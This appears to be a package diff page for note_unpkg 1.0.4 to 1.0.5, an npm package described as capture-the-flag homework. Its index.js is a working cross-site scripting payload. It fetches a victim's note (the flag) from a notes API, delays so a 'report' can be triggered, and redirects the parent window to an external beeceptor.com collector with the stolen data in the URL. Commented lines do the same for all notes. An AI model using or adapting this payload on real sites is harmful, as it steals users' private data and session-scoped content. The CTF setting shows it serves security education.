note_unpkg 1.0.4 → 1.0.5

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +8 -7
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,13 +1,14 @@
1
1
  async function go() {
2
- // let notes = await fetch("/api/notes/all", {
3
- // "method": "GET"})
4
- // .then(res => res.text())
5
- // window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
2
+
3
+ //let notes = await fetch("/api/notes/all").then(res => res.text())
4
+ //window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + notes
5
+
6
6
  const id = "a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d"
7
- let flag = await fetch("/api/notes?id=" + id, {
8
- "method": "GET"})
9
- .then(res => res.text())
7
+ let flag = await fetch("/api/notes?id=" + id).then(res => res.text())
8
+
9
+ // sleep for a while so I have time to press "report"
10
10
  await new Promise(r => setTimeout(r, 2000));
11
+
11
12
  window.parent.location = "https://o4o55555.free.beeceptor.com?q=" + flag
12
13
  };
13
14
  go();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note_unpkg",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "for edu-ctf homework",
5
5
  "main": "index.js",
6
6
  "scripts": {